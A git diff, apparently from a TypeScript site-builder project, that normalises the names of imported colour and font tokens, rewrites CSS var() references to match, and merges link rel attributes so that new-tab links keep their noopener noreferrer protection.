+++ b/src/core/siteImport/conflicts.ts
@@ -39,6 +39,7 @@ import type { ImportFragment } from '@core/htmlImport'
 import { normalizeFrameworkColorSlug } from '@core/framework'
 import { isUntouchedFontRoleToken, normalizeFontTokenVariable, type FontToken } from '@core/fonts'
 import { applyCrossSheetClassResolutions, normalizeBindableClassRules } from './classCascades'
+import { declaredCustomProperties, rewriteRuleVarRefs, rewriteStyleBagVarRefs } from './varRefs'
 
 // ---------------------------------------------------------------------------
 // Detection
@@ -66,7 +67,12 @@ export function detectConflicts(
 ): ConflictDetectionResult {
   const pageConflicts = detectPageConflicts(currentSite, pagePlans)
   const ruleConflicts = detectRuleConflicts(currentSite, styleRules)
-  const tokenConflicts = detectTokenConflicts(currentSite, colorTokens, fontTokens)
+  const tokenConflicts = detectTokenConflicts(
+    currentSite,
+    colorTokens,
+    fontTokens,
+    declaredCustomProperties(pagePlans, styleRules),
+  )
   return { pages: pageConflicts, rules: ruleConflicts, tokens: tokenConflicts }
 }
 
@@ -188,12 +194,15 @@ function detectRuleConflicts(
  * Conflicts default to auto-rename, except a font conflict against an untouched
  * seeded role token (`isUntouchedFontRoleToken`), which defaults to overwrite.
  * Imported tokens are deduped per kind upstream, so only site-vs-import
- * collisions are possible here (no intra-batch case).
+ * collisions are conflicts. A rename target must still avoid every other
+ * imported token's name and every custom property the imported CSS declares
+ * (`reserved`), or the renamed token would shadow or be shadowed by it.
  */
 function detectTokenConflicts(
   site: SiteDocument,
   colorTokens: ImportColorToken[],
   fontTokens: ImportFontToken[],
+  reserved: Set<string>,
 ): TokenConflict[] {
   const conflicts: TokenConflict[] = []
 
@@ -202,7 +211,11 @@ function detectTokenConflicts(
   for (const token of site.settings.framework?.colors?.tokens ?? []) {
     existingColorIds.set(normalizeFrameworkColorSlug(token.slug), token.id)
   }
-  const claimedColors = new Set(existingColorIds.keys())
+  const claimedColors = new Set([
+    ...existingColorIds.keys(),
+    ...colorTokens.map((token) => normalizeFrameworkColorSlug(token.slug)),
+    ...reserved,
+  ])
   for (const token of colorTokens) {
     const existingId = existingColorIds.get(normalizeFrameworkColorSlug(token.slug))
     if (!existingId) continue
@@ -221,7 +234,11 @@ function detectTokenConflicts(
   for (const token of site.settings.fonts?.tokens ?? []) {
     existingFonts.set(normalizeFontTokenVariable(token.variable), token)
   }
-  const claimedFonts = new Set(existingFonts.keys())
+  const claimedFonts = new Set([
+    ...existingFonts.keys(),
+    ...fontTokens.map((token) => normalizeFontTokenVariable(token.variable)),
+    ...reserved,
+  ])
   for (const token of fontTokens) {
     const existing = existingFonts.get(normalizeFontTokenVariable(token.variable))
     if (!existing) continue
@@ -387,8 +404,13 @@ function buildTokenRenameMaps(tokenResolutions: TokenConflict[]): TokenResolutio
   for (const r of tokenResolutions) {
     const res = r.defaultResolution
     const renames = r.kind === 'color' ? colorRenames : fontRenames
-    if (isRename(res) && res.resolvedVariable && res.resolvedVariable !== r.desiredVariable) {
-      renames.set(r.desiredVariable, res.resolvedVariable)
+    // A colour token is emitted under its normalised slug, so a custom rename
+    // (`My Brand`) must rename to that form or its references stop resolving.
+    const resolved = r.kind === 'color' && res.resolvedVariable
+      ? normalizeFrameworkColorSlug(res.resolvedVariable)
+      : res.resolvedVariable
+    if (isRename(res) && resolved && resolved !== r.desiredVariable) {
+      renames.set(r.desiredVariable, resolved)
     } else if (res.action === 'skip') {
       ;(r.kind === 'color' ? colorSkips : fontSkips).add(r.desiredVariable)
     }
@@ -427,6 +449,23 @@ function resolvePagePlans(
   })
 }
 
+/**
+ * Rewrite `var(--old)` → `var(--new)` for every name in `renames` across the
+ * imported style rules and every page's node inline styles. Used when the
+ * importer itself moves a token to a new name (colour slug normalisation).
+ */
+export function rewriteImportVarRefs(
+  pages: PagePlan[],
+  styleRules: NewStyleRule[],
+  renames: Map<string, string>,
+): { pages: PagePlan[]; styleRules: NewStyleRule[] } {
+  if (renames.size === 0) return { pages, styleRules }
+  return {
+    pages: resolvePagePlans(pages, new Map(), new Map(), renames),
+    styleRules: styleRules.map((rule) => rewriteRuleVarRefs(rule, renames)),
+  }
+}
+
 /** Apply rule name resolutions, then rewrite any token var references. */
 function resolveStyleRules(
   styleRules: NewStyleRule[],
@@ -574,69 +613,3 @@ function rewriteSelectorClasses(selector: string, classRenames: Map<string, stri
   }
   return rewritten
 }
-
-/**
- * Rewrite `var(--old)` → `var(--new)` references inside a style rule's base
- * `styles` and every `contextStyles` bag. Returns the same rule when no value
- * changes.
- */
-function rewriteRuleVarRefs(rule: NewStyleRule, renames: Map<string, string>): NewStyleRule {
-  const styles = rewriteStyleBagVarRefs(rule.styles, renames)
-  const rawCss = typeof rule.rawCss === 'string'
-    ? rewriteCssVarRefs(rule.rawCss, renames)
-    : rule.rawCss
-  let contextStyles = rule.contextStyles
-  if (contextStyles && Object.keys(contextStyles).length > 0) {
-    let ctxChanged = false
-    const nextCtx: Record<string, Record<string, unknown>> = {}
-    for (const [ctxId, bag] of Object.entries(contextStyles)) {
-      const nextBag = rewriteStyleBagVarRefs(bag as Record<string, unknown>, renames)
-      if (nextBag !== bag) ctxChanged = true
-      nextCtx[ctxId] = nextBag
-    }
-    if (ctxChanged) contextStyles = nextCtx as NewStyleRule['contextStyles']
-  }
-  return styles === rule.styles && contextStyles === rule.contextStyles && rawCss === rule.rawCss
-    ? rule
-    : {
-        ...rule,
-        styles: styles as NewStyleRule['styles'],
-        contextStyles,
-        ...(rawCss !== undefined ? { rawCss } : {}),
-      }
-}
-
-/**
- * Rewrite `var(--old)` references in every string value of a style bag. Returns
- * the same object reference when nothing changes.
- */
-function rewriteStyleBagVarRefs<T extends Record<string, unknown>>(
-  bag: T,
-  renames: Map<string, string>,
-): T {
-  let changed = false
-  const out: Record<string, unknown> = {}
-  for (const [key, value] of Object.entries(bag)) {
-    if (typeof value === 'string') {
-      const next = rewriteCssVarRefs(value, renames)
-      if (next !== value) changed = true
-      out[key] = next
-    } else {
-      out[key] = value
-    }
-  }
-  return changed ? (out as T) : bag
-}
-
-// Matches `var(--name` (optional leading whitespace), capturing the bare
-// custom-property name. The fallback/closing-paren tail is left untouched.
-const VAR_REF_RE = /var\(\s*--([A-Za-z0-9_-]+)/g
-
-/** Rewrite `var(--old)` → `var(--new)` for every name in `renames`. */
-function rewriteCssVarRefs(value: string, renames: Map<string, string>): string {
-  if (renames.size === 0 || !value.includes('var(')) return value
-  return value.replace(VAR_REF_RE, (match, name: string) => {
-    const next = renames.get(name)
-    return next ? match.replace(`--${name}`, `--${next}`) : match
-  })
-}
diff --git a/src/core/siteImport/fontTokens.ts b/src/core/siteImport/fontTokens.ts
index dbc700b86..41c7a58c9 100644
--- a/src/core/siteImport/fontTokens.ts
+++ b/src/core/siteImport/fontTokens.ts
@@ -64,7 +64,7 @@ function unquoteFamily(raw: string): string {
   return trimmed
 }
 
-function tokenNameFromVariable(variable: string): string {
+export function tokenNameFromVariable(variable: string): string {
   const base = normalizeFontTokenVariable(variable).replace(/^font-/, '')
   const words = base.split('-').filter(Boolean)
   if (words.length === 0) return 'Font'
@@ -93,7 +93,9 @@ function importTokenFromDeclaration(prop: string, value: string): ImportFontToke
   if (!prop.startsWith('--font-')) return null
   if (!isFontFamilyLike(value)) return null
 
-  const variable = normalizeFontTokenVariable(prop)
+  // The authored name, kept so `normalizeImportedTokens` can map the
+  // imported `var()` references to the name the token is emitted under.
+  const variable = prop.slice(2)
   const parts = splitFontStack(value)
   if (parts.length === 0) return null
 
diff --git a/src/core/siteImport/index.ts b/src/core/siteImport/index.ts
index 36a2d7ee3..119f08c3a 100644
--- a/src/core/siteImport/index.ts
+++ b/src/core/siteImport/index.ts
@@ -46,6 +46,7 @@ export { applyAssetRewrites } from './applyAssetRewrites'
 // ── Phase 2 — colour-token extraction ─────────────────────────────────────────
 
 export { extractRootColorTokens, isCssColorValue } from './colorTokens'
+export { normalizeImportedTokens } from './tokenNames'
 
 // ── Phase 2 — font-token extraction ───────────────────────────────────────────
 
diff --git a/src/core/siteImport/planCss.ts b/src/core/siteImport/planCss.ts
index 28717a84c..5ad644a10 100644
--- a/src/core/siteImport/planCss.ts
+++ b/src/core/siteImport/planCss.ts
@@ -32,7 +32,7 @@ export interface CssPlanState {
   conditionsById: Map<string, ConditionDef>
   /** Colour tokens pulled from root-scope rules, deduped by slug. */
   colorsBySlug: Map<string, ImportColorToken>
-  /** Font tokens pulled from root-scope rules, deduped by normalized variable. */
+  /** Font tokens pulled from root-scope rules, deduped by authored variable. */
   fontTokensByVariable: Map<string, ImportFontToken>
   cssFileResults: CssFileResult[]
 }
diff --git a/src/core/siteImport/tokenNames.ts b/src/core/siteImport/tokenNames.ts
new file mode 100644
index 000000000..a2bf384d6
--- /dev/null
+++ b/src/core/siteImport/tokenNames.ts
@@ -0,0 +1,84 @@
+/**
+ * tokenNames — settle the name each imported design token is emitted under.
+ *
+ * The store normalises every token name: colour slugs with
+ * `normalizeFrameworkColorSlug`, font variables with `normalizeFontTokenVariable`
+ * (lowercase, every run of non-alphanumerics collapsed to one `-`). So an
+ * authored `--brand---neutral--700` is emitted as `--brand-neutral-700` and
+ * `--font-Heading` as `--font-heading`. The importer settles those names at plan
+ * time and returns the `authored → emitted` map (names without `--`) that
+ * `rewriteImportVarRefs` applies to the imported `var()` references and
+ * declarations.
+ *
+ * Colour and font tokens share one CSS namespace, so both kinds are settled
+ * together against one set of claimed names.
+ */
+
+import { normalizeFrameworkColorSlug } from '@core/framework'
+import { normalizeFontTokenVariable } from '@core/fonts'
+import type { ImportColorToken, ImportFontToken } from './types'
+import { tokenNameFromVariable } from './fontTokens'
+
+interface NamedEntry {
+  name: string
+  normalize: (name: string) => string
+}
+
+/**
+ * Give each imported colour and font token its emitted name.
+ *
+ * A name already in emitted form keeps it. Any other takes its normalised form,
+ * or the first free `-2`, `-3`, ... suffix when that is taken by another token
+ * of either kind or by `declared`, the other custom properties the imported CSS
+ * declares. A token's own authored name in `declared` (an override such as
+ * `.dark { --bg: … }`) is not a conflict. Colours are settled before fonts.
+ */
+export function normalizeImportedTokens(
+  tokens: { colors: ImportColorToken[]; fonts: ImportFontToken[] },
+  declared: Set<string> = new Set(),
+): { colors: ImportColorToken[]; fonts: ImportFontToken[]; renames: Map<string, string> } {
+  const entries: NamedEntry[] = [
+    ...tokens.colors.map((token) => ({ name: token.slug, normalize: normalizeFrameworkColorSlug })),
+    ...tokens.fonts.map((token) => ({ name: token.variable, normalize: normalizeFontTokenVariable })),
+  ]
+  const { emitted, renames } = assignEmittedNames(entries, declared)
+  const fontOffset = tokens.colors.length
+
+  const colors = tokens.colors.map((token, i) =>
+    emitted[i] === token.slug ? token : { ...token, slug: emitted[i] },
+  )
+  const fonts = tokens.fonts.map((token, i) => {
+    const variable = emitted[fontOffset + i]
+    return variable === token.variable
+      ? token
+      : { ...token, name: tokenNameFromVariable(variable), variable }
+  })
+  return { colors, fonts, renames }
+}
+
+function assignEmittedNames(
+  entries: NamedEntry[],
+  declared: Set<string>,
+): { emitted: string[]; renames: Map<string, string> } {
+  const own = new Set(entries.map((entry) => entry.name))
+  const claimed = new Set([...declared].filter((name) => !own.has(name)))
+  const kept = new Set<string>()
+  for (const { name, normalize } of entries) {
+    if (normalize(name) === name) {
+      kept.add(name)
+      claimed.add(name)
+    }
+  }
+
+  const renames = new Map<string, string>()
+  const emitted = entries.map(({ name, normalize }) => {
+    if (kept.has(name)) return name
+    const base = normalize(name)
+    let next = base
+    for (let suffix = 2; claimed.has(next); suffix++) next = `${base}-${suffix}`
+    claimed.add(next)
+    renames.set(name, next)
+    return next
+  })
+  return { emitted, renames }
+}
diff --git a/src/core/siteImport/varRefs.ts b/src/core/siteImport/varRefs.ts
new file mode 100644
index 000000000..87baf3ff9
--- /dev/null
+++ b/src/core/siteImport/varRefs.ts
@@ -0,0 +1,154 @@
+/**
+ * varRefs — rename custom properties across the imported CSS.
+ *
+ * When the importer moves a design token to a new name (a conflict rename, or
+ * the framework's normalised colour slug), every `var(--old)` reference and
+ * every `--old` declaration in the imported style rules, node inline styles
+ * and raw `@keyframes` CSS must follow it, or the imported design stops
+ * resolving to its own token.
+ */
+
+import type { NewStyleRule, PagePlan } from './types'
+
+/**
+ * Every custom property name (without `--`) the imported CSS declares: in style
+ * rules (base and per-context) and in node inline styles.
+ */
+export function declaredCustomProperties(
+  pages: PagePlan[],
+  styleRules: NewStyleRule[],
+): Set<string> {
+  const names = new Set<string>()
+  const collect = (bag: Record<string, unknown> | undefined) => {
+    for (const key of Object.keys(bag ?? {})) {
+      if (key.startsWith('--')) names.add(key.slice(2))
+    }
+  }
+  for (const rule of styleRules) {
+    collect(rule.styles)
+    for (const bag of Object.values(rule.contextStyles ?? {})) collect(bag)
+  }
+  for (const page of pages) {
+    for (const node of Object.values(page.nodeFragment.nodes)) collect(node.inlineStyles)
+  }
+  return names
+}
+
+/**
+ * Rewrite `var(--old)` → `var(--new)` references inside a style rule's base
+ * `styles` and every `contextStyles` bag. Returns the same rule when no value
+ * changes.
+ */
+export function rewriteRuleVarRefs(rule: NewStyleRule, renames: Map<string, string>): NewStyleRule {
+  const styles = rewriteStyleBagVarRefs(rule.styles, renames)
+  const stylePriorities = rule.stylePriorities
+    ? renameCustomPropertyKeys(rule.stylePriorities, renames)
+    : rule.stylePriorities
+  const rawCss = typeof rule.rawCss === 'string'
+    ? renameCssDeclarations(rewriteCssVarRefs(rule.rawCss, renames), renames)
+    : rule.rawCss
+  const contextStyles = mapContextBags(rule.contextStyles, (bag) => rewriteStyleBagVarRefs(bag, renames))
+  const contextStylePriorities = mapContextBags(
+    rule.contextStylePriorities,
+    (bag) => renameCustomPropertyKeys(bag, renames),
+  )
+  return styles === rule.styles
+    && stylePriorities === rule.stylePriorities
+    && contextStyles === rule.contextStyles
+    && contextStylePriorities === rule.contextStylePriorities
+    && rawCss === rule.rawCss
+    ? rule
+    : {
+        ...rule,
+        styles: styles as NewStyleRule['styles'],
+        contextStyles: contextStyles as NewStyleRule['contextStyles'],
+        ...(stylePriorities !== undefined ? { stylePriorities } : {}),
+        ...(contextStylePriorities !== undefined ? { contextStylePriorities } : {}),
+        ...(rawCss !== undefined ? { rawCss } : {}),
+      }
+}
+
+/** Map every per-context bag; returns the same record when no bag changes. */
+function mapContextBags<T extends Record<string, Record<string, unknown>>>(
+  record: T | undefined,
+  map: (bag: Record<string, unknown>) => Record<string, unknown>,
+): T | undefined {
+  if (!record || Object.keys(record).length === 0) return record
+  let changed = false
+  const out: Record<string, Record<string, unknown>> = {}
+  for (const [ctxId, bag] of Object.entries(record)) {
+    const next = map(bag)
+    if (next !== bag) changed = true
+    out[ctxId] = next
+  }
+  return changed ? (out as T) : record
+}
+
+/**
+ * Rewrite `var(--old)` references in every string value of a style bag, and
+ * rename a `--old` declaration itself, so an override in a non-root rule
+ * (`.dark { --bg: #000 }`) keeps overriding the renamed token. Returns the
+ * same object reference when nothing changes.
+ */
+export function rewriteStyleBagVarRefs<T extends Record<string, unknown>>(
+  bag: T,
+  renames: Map<string, string>,
+): T {
+  let changed = false
+  const out: Record<string, unknown> = {}
+  for (const [key, value] of Object.entries(bag)) {
+    const nextKey = renameCustomPropertyKey(key, renames)
+    if (nextKey !== key) changed = true
+    if (typeof value === 'string') {
+      const next = rewriteCssVarRefs(value, renames)
+      if (next !== value) changed = true
+      out[nextKey] = next
+    } else {
+      out[nextKey] = value
+    }
+  }
+  return changed ? (out as T) : bag
+}
+
+/** Rename `--old` keys of a property-keyed bag (e.g. declaration priorities). */
+function renameCustomPropertyKeys<T extends Record<string, unknown>>(
+  bag: T,
+  renames: Map<string, string>,
+): T {
+  if (!Object.keys(bag).some((key) => renameCustomPropertyKey(key, renames) !== key)) return bag
+  return Object.fromEntries(
+    Object.entries(bag).map(([key, value]) => [renameCustomPropertyKey(key, renames), value]),
+  ) as T
+}
+
+function renameCustomPropertyKey(key: string, renames: Map<string, string>): string {
+  if (!key.startsWith('--')) return key
+  const next = renames.get(key.slice(2))
+  return next ? `--${next}` : key
+}
+
+// Matches `var(--name` (optional leading whitespace), capturing the bare
+// custom-property name. The fallback/closing-paren tail is left untouched.
+const VAR_REF_RE = /var\(\s*--([A-Za-z0-9_-]+)/g
+
+// Matches a `--name:` declaration in raw CSS text (e.g. `@keyframes` bodies),
+// capturing what precedes it and the bare custom-property name.
+const DECLARATION_RE = /(^|[{;\s])--([A-Za-z0-9_-]+)(?=\s*:)/g
+
+/** Rename `--old:` declarations in raw CSS text for every name in `renames`. */
+function renameCssDeclarations(css: string, renames: Map<string, string>): string {
+  if (renames.size === 0 || !css.includes('--')) return css
+  return css.replace(DECLARATION_RE, (match, before: string, name: string) => {
+    const next = renames.get(name)
+    return next ? `${before}--${next}` : match
+  })
+}
+
+/** Rewrite `var(--old)` → `var(--new)` for every name in `renames`. */
+function rewriteCssVarRefs(value: string, renames: Map<string, string>): string {
+  if (renames.size === 0 || !value.includes('var(')) return value
+  return value.replace(VAR_REF_RE, (match, name: string) => {
+    const next = renames.get(name)
+    return next ? match.replace(`--${name}`, `--${next}`) : match
+  })
+}
diff --git a/src/core/templates/dynamicBindings.ts b/src/core/templates/dynamicBindings.ts
index 74f86ba3e..8a8d3236b 100644
--- a/src/core/templates/dynamicBindings.ts
+++ b/src/core/templates/dynamicBindings.ts
@@ -27,7 +27,7 @@
 
 import type { DynamicPropBinding } from '@core/page-tree'
 import { renderMarkdownToHtml } from '@core/markdown/renderMarkdown'
-import { isRichtextPropKey, sanitizeRichtext } from '@core/sanitize'
+import { isRichtextPropKey, RICHTEXT_CONTENT_CONFIG, sanitizeRichtext } from '@core/sanitize'
 import type { TemplateRenderDataContext } from './renderDataContext'
 
 export type { TemplateRenderDataContext } from './renderDataContext'
@@ -212,7 +212,7 @@ export function resolveDynamicProps(
     for (const key of Object.keys(resolved)) {
       const value = resolved[key]
       if (typeof value === 'string' && isRichtextPropKey(key)) {
-        resolved[key] = sanitizeRichtext(value)
+        resolved[key] = sanitizeRichtext(value, RICHTEXT_CONTENT_CONFIG)
       }
     }
   }
diff --git a/src/core/templates/templatePreviewData.ts b/src/core/templates/templatePreviewData.ts
index 011a4b506..5af36e497 100644
--- a/src/core/templates/templatePreviewData.ts
+++ b/src/core/templates/templatePreviewData.ts
@@ -116,7 +116,7 @@ export function buildPreviewCells(table: DataTable): DataRowCells {
 /**
  * Convert a `DataTable`'s field definitions into a synthetic `LoopItem` for
  * canvas preview. The item's `fields` map mirrors the shape produced at
- * runtime by `publishedDataRowToLoopItem` so template bindings resolve the
+ * runtime by `publishedDataRowToEntryItem` so template bindings resolve the
  * same way during preview as they do when rendering a real published row.
  */
 export function dataTablePreviewToLoopItem(table: DataTable): LoopItem {
diff --git a/src/modules/base/button/ButtonEditor.tsx b/src/modules/base/button/ButtonEditor.tsx
index 9c6562686..08e32138a 100644
--- a/src/modules/base/button/ButtonEditor.tsx
+++ b/src/modules/base/button/ButtonEditor.tsx
@@ -10,7 +10,7 @@
  */
 import React from 'react'
 import type { ModuleComponentProps } from '@core/module-engine'
-import { anchorRel } from '@modules/base/shared/anchorTarget'
+import { anchorHtmlAttributes } from '@modules/base/shared/anchorTarget'
 import { htmlAttributesForReact } from '@core/htmlAttributes'
 import { inlineEditableElementProps } from '@modules/base/shared/inlineText'
 import { resolveButtonAnchor } from './anchor'
@@ -23,19 +23,19 @@ export const ButtonEditor: React.FC<ModuleComponentProps<ButtonStoredProps>> = (
   inlineEdit,
 }) => {
   const label = props.label || 'Button'
-  const htmlAttrs = htmlAttributesForReact(props.htmlAttributes)
   const anchor = resolveButtonAnchor(props.href)
   // React.createElement (not JSX) so the editable element's generic
   // `Ref<HTMLElement>` is accepted — matching TextEditor / LinkEditor.
   if (anchor) {
+    const { attributes, rel } = anchorHtmlAttributes(props.htmlAttributes, props.target)
     return React.createElement(
       'a',
       {
         ...nodeWrapperProps,
-        ...htmlAttrs,
+        ...attributes,
         href: anchor.href,
         target: props.target,
-        rel: anchorRel(props.target) ?? undefined,
+        rel: rel ?? undefined,
         className: mcClassName,
         ...(inlineEdit ? inlineEditableElementProps(inlineEdit) : {}),
       },
@@ -46,7 +46,7 @@ export const ButtonEditor: React.FC<ModuleComponentProps<ButtonStoredProps>> = (
     'button',
     {
       ...nodeWrapperProps,
-      ...htmlAttrs,
+      ...htmlAttributesForReact(props.htmlAttributes),
       type: 'button',
       className: mcClassName,
       // A disabled button can't be focused/edited — never disable while editing.
diff --git a/src/modules/base/button/index.ts b/src/modules/base/button/index.ts
index 19c28b5b6..761e79c33 100644
--- a/src/modules/base/button/index.ts
+++ b/src/modules/base/button/index.ts
@@ -9,11 +9,12 @@ import type { ModuleDefinition } from '@core/module-engine'
 import { registry } from '@core/module-engine'
 import { CursorClickSolidIcon } from 'pixel-art-icons/icons/cursor-click-solid'
 import { Value } from '@core/utils/typeboxHelpers'
-import { ANCHOR_TARGET_OPTIONS, anchorRel } from '@modules/base/shared/anchorTarget'
+import { ANCHOR_TARGET_OPTIONS, anchorHtmlAttributes } from '@modules/base/shared/anchorTarget'
 import {
   htmlAttributesControl,
 } from '@modules/base/shared/htmlAttributes'
 import { htmlAttributesAttr } from '@core/publisher'
+import { escapeHtml } from '@modules/base/utils/escape'
 import { resolveButtonAnchor } from './anchor'
 import { ButtonEditor } from './ButtonEditor'
 import { ButtonPropsSchema, type ButtonStoredProps } from './props'
@@ -64,13 +65,13 @@ export const ButtonModule: ModuleDefinition<ButtonStoredProps> = {
 
   render: (props) => {
     const label = String(props.label ?? '')
-    const attrs = htmlAttributesAttr(props.htmlAttributes)
     const anchor = resolveButtonAnchor(props.href)
     if (anchor) {
-      const rel = anchorRel(props.target)
-      const relAttr = rel ? ` rel="${rel}"` : ''
-      return { html: `<a${attrs} href="${anchor.href}" target="${String(props.target)}"${relAttr}>${label}</a>` }
+      const { attributes, rel } = anchorHtmlAttributes(props.htmlAttributes, props.target)
+      const relAttr = rel ? ` rel="${escapeHtml(rel)}"` : ''
+      return { html: `<a${htmlAttributesAttr(attributes)} href="${anchor.href}" target="${String(props.target)}"${relAttr}>${label}</a>` }
     }
+    const attrs = htmlAttributesAttr(props.htmlAttributes)
     const disabledAttr = props.disabled ? ' disabled aria-disabled="true"' : ''
     const buttonType = props.buttonType === 'reset' ? 'reset' : 'button'
     return { html: `<button${attrs} type="${buttonType}"${disabledAttr}>${label}</button>` }
diff --git a/src/modules/base/link/LinkEditor.tsx b/src/modules/base/link/LinkEditor.tsx
index 2c1ccaf90..83b26c67b 100644
--- a/src/modules/base/link/LinkEditor.tsx
+++ b/src/modules/base/link/LinkEditor.tsx
@@ -9,8 +9,7 @@
  */
 import React from 'react'
 import type { ModuleComponentProps } from '@core/module-engine'
-import { anchorRel } from '@modules/base/shared/anchorTarget'
-import { htmlAttributesForReact } from '@core/htmlAttributes'
+import { anchorHtmlAttributes } from '@modules/base/shared/anchorTarget'
 import { inlineEditableElementProps } from '@modules/base/shared/inlineText'
 import { linkUsesChildren } from './content'
 import type { LinkStoredProps } from './props'
@@ -20,14 +19,15 @@ export const LinkEditor: React.FC<ModuleComponentProps<LinkStoredProps>> = ({ pr
   // Inline editing only starts on a childless link (text mode), so when
   // `inlineEdit` is set the element edits its `text` prop in place.
   const content = linkUsesChildren(childCount) ? children : (props.text ?? 'Link text')
+  const { attributes, rel } = anchorHtmlAttributes(props.htmlAttributes, props.target)
   return React.createElement(
     'a',
     {
       ...nodeWrapperProps,
-      ...htmlAttributesForReact(props.htmlAttributes),
+      ...attributes,
       href: props.href || '#',
       target: props.target,
-      rel: anchorRel(props.target) ?? undefined,
+      rel: rel ?? undefined,
       className: mcClassName,
       ...(inlineEdit ? inlineEditableElementProps(inlineEdit) : {}),
     },
diff --git a/src/modules/base/link/index.ts b/src/modules/base/link/index.ts
index a79285328..9c9a1fde7 100644
--- a/src/modules/base/link/index.ts
+++ b/src/modules/base/link/index.ts
@@ -7,9 +7,9 @@
 import type { ModuleDefinition } from '@core/module-engine'
 import { registry } from '@core/module-engine'
 import { LinkIcon } from 'pixel-art-icons/icons/link'
-import { safeUrl } from '@modules/base/utils/escape'
+import { escapeHtml, safeUrl } from '@modules/base/utils/escape'
 import { Value } from '@core/utils/typeboxHelpers'
-import { ANCHOR_TARGET_OPTIONS, anchorRel } from '@modules/base/shared/anchorTarget'
+import { ANCHOR_TARGET_OPTIONS, anchorHtmlAttributes } from '@modules/base/shared/anchorTarget'
 import {
   htmlAttributesControl,
 } from '@modules/base/shared/htmlAttributes'
@@ -52,9 +52,9 @@ export const LinkModule: ModuleDefinition<LinkStoredProps> = {
 
   render: (props, renderedChildren) => {
     const href = safeUrl(props.href)
-    const attrs = htmlAttributesAttr(props.htmlAttributes)
-    const rel = anchorRel(props.target)
-    const relAttr = rel ? ` rel="${rel}"` : ''
+    const { attributes, rel } = anchorHtmlAttributes(props.htmlAttributes, props.target)
+    const attrs = htmlAttributesAttr(attributes)
+    const relAttr = rel ? ` rel="${escapeHtml(rel)}"` : ''
     const targetAttr = ` target="${String(props.target)}"`
     const content = linkUsesChildren(renderedChildren.length)
       ? renderedChildren.join('')
diff --git a/src/modules/base/shared/anchorTarget.ts b/src/modules/base/shared/anchorTarget.ts
index 622634693..b5a305b9e 100644
--- a/src/modules/base/shared/anchorTarget.ts
+++ b/src/modules/base/shared/anchorTarget.ts
@@ -12,11 +12,16 @@
  *   - `AnchorTargetSchema` / `AnchorTarget`  — the persisted prop shape.
  *   - `ANCHOR_TARGET_OPTIONS`                — the Properties-panel select.
  *   - `anchorRel(target)`                    — the single rel decision.
+ *   - `mergeAnchorRel(authored, target)`     — that decision merged with the
+ *                                              author's own `rel` tokens.
+ *   - `anchorHtmlAttributes(bag, target)`    — the `htmlAttributes` bag with
+ *                                              `rel` pulled out and merged.
  *
  * Lives in a non-component `.ts` so the editor components can import it without
  * breaking React Fast Refresh (Constraint #309).
  */
 import { Type, type Static } from '@core/utils/typeboxHelpers'
+import { normalizeHtmlAttributes } from '@core/htmlAttributes'
 
 export const AnchorTargetSchema = Type.Union(
   [Type.Literal('_self'), Type.Literal('_blank'), Type.Literal('_parent')],
@@ -43,3 +48,39 @@ export const ANCHOR_TARGET_OPTIONS: ReadonlyArray<{ label: string; value: Anchor
 export function anchorRel(target: AnchorTarget): string | null {
   return target === '_blank' ? 'noopener noreferrer' : null
 }
+
+/**
+ * The single `rel` an anchor emits when the author also wrote one. Authors put
+ * `rel` in the `htmlAttributes` bag (the Properties-panel Attributes view, or
+ * an imported `<a rel="nofollow">`), and the module adds the security rel for
+ * its `target`. Emitting both as separate attributes is a duplicate-attribute
+ * parse error: the browser keeps the first one, so `rel="nofollow"` placed
+ * before the module's `rel="noopener noreferrer"` silently loses the
+ * reverse-tabnabbing guard on a new-tab link. This merges the two into one
+ * space-separated token list — the author's tokens first, then whatever
+ * `anchorRel(target)` requires, each token once — or `null` when there is
+ * nothing to emit. A `_blank` anchor therefore always carries
+ * `noopener noreferrer`, whatever the author wrote.
+ */
+export function mergeAnchorRel(authoredRel: unknown, target: AnchorTarget): string | null {
+  const tokens = new Set<string>()
+  if (typeof authoredRel === 'string') {
+    for (const token of authoredRel.split(/\s+/)) if (token) tokens.add(token)
+  }
+  for (const token of anchorRel(target)?.split(' ') ?? []) tokens.add(token)
+  return tokens.size > 0 ? [...tokens].join(' ') : null
+}
+
+/**
+ * Split an anchor's `htmlAttributes` bag into the attributes to spread as-is
+ * and the one merged `rel` (see `mergeAnchorRel`). Both the publisher
+ * `render()` and the canvas editor of `base.link` / `base.button` go through
+ * this so neither path can emit `rel` twice.
+ */
+export function anchorHtmlAttributes(
+  htmlAttributes: unknown,
+  target: AnchorTarget,
+): { attributes: Record<string, string>; rel: string | null } {
+  const { rel: authoredRel, ...attributes } = normalizeHtmlAttributes(htmlAttributes)
+  return { attributes, rel: mergeAnchorRel(authoredRel, target) }
+}